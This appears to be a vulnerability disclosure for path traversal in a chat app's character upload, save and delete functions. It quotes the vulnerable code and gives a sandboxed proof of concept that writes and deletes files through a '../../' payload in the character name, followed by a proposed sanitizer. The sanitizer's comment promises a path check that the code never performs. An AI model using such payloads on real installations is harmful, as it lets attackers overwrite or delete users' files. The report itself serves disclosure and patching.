# modules/chat.py:1521-1551
def upload_character(file, img_path, tavern=False):
    img = open_image_safely(img_path)
    decoded_file = file if isinstance(file, str) else file.decode('utf-8')
    try:
        data = json.loads(decoded_file)
    except:
        data = yaml.safe_load(decoded_file)

    if 'char_name' in data:
        name = data['char_name']  # Attacker-controlled, NO SANITIZATION
        # ...
        yaml_data = generate_character_yaml(name, greeting, context)

    outfile_name = name  # Used directly in path construction
    # ...
    with open(Path(f'user_data/characters/{outfile_name}.yaml'), 'w') as f:
        f.write(yaml_data)  # Writes to traversed path

# modules/chat.py:1625-1637
def save_character(name, greeting, context, picture, filename):
    data = generate_character_yaml(name, greeting, context)
    filepath = Path(f'user_data/characters/{filename}.yaml')  # No sanitization
    save_file(filepath, data)
    path_to_img = Path(f'user_data/characters/{filename}.png')
    if picture is not None:
        shutil.copy(picture, path_to_img)  # Also traversable

# modules/chat.py:1640-1648
def delete_character(name, instruct=False):
    for extension in ["yml", "yaml", "json"]:
        delete_file(Path(f'user_data/characters/{name}.{extension}'))  # No sanitization
    for extension in ["png", "jpg", "jpeg"]:
        delete_file(Path(f'user_data/characters/{name}.{extension}'))

import os, json, tempfile, shutil, yaml
from pathlib import Path

# Simulate the project directory structure
base_dir = tempfile.mkdtemp()
char_dir = os.path.join(base_dir, "user_data", "characters")
os.makedirs(char_dir)

# === ARBITRARY FILE WRITE via upload_character() ===

# Attacker uploads character JSON with traversal in char_name
malicious_json = json.dumps({
    "char_name": "../../TRAVERSAL_PROOF",
    "char_greeting": "Hello",
    "char_persona": "Test",
    "world_scenario": "",
    "example_dialogue": ""
})

data = json.loads(malicious_json)
name = data['char_name']  # chat.py:1530
yaml_data = yaml.dump({'name': name, 'greeting': data['char_greeting']},
                       sort_keys=False)
outfile_name = name  # chat.py:1538

# chat.py:1544 - writes to traversed path
target = Path(f'{char_dir}/{outfile_name}.yaml')
with open(target, 'w') as f:
    f.write(yaml_data)

# Verify: file written OUTSIDE character directory
escaped_path = os.path.join(base_dir, "TRAVERSAL_PROOF.yaml")
assert os.path.exists(escaped_path), "Path traversal failed"
print(f"[+] File written to: {escaped_path}")
# Output: [+] File written to: /tmp/.../TRAVERSAL_PROOF.yaml

# === ARBITRARY FILE DELETE via delete_character() ===

critical_file = os.path.join(base_dir, "important.yaml")
with open(critical_file, 'w') as f:
    f.write("critical: data")

# chat.py:1642-1643
for ext in ["yml", "yaml", "json"]:
    p = Path(f'{char_dir}/../../important.{ext}')
    if p.exists():
        os.unlink(p)

assert not os.path.exists(critical_file)
print(f"[+] Deleted: {critical_file}")
# Output: [+] Deleted: /tmp/.../important.yaml

shutil.rmtree(base_dir)

import re

def sanitize_filename(name):
    """Remove path traversal sequences and unsafe characters"""
    # Remove path separators and traversal
    name = name.replace('/', '').replace('\\', '').replace('..', '')
    # Only allow safe characters
    name = re.sub(r'[^\w\s\-.]', '', name)
    # Verify the final path stays within the target directory
    return name

# In upload_character():
name = sanitize_filename(data['char_name'])

# In save_character():
filename = sanitize_filename(filename)

# In delete_character():
name = sanitize_filename(name)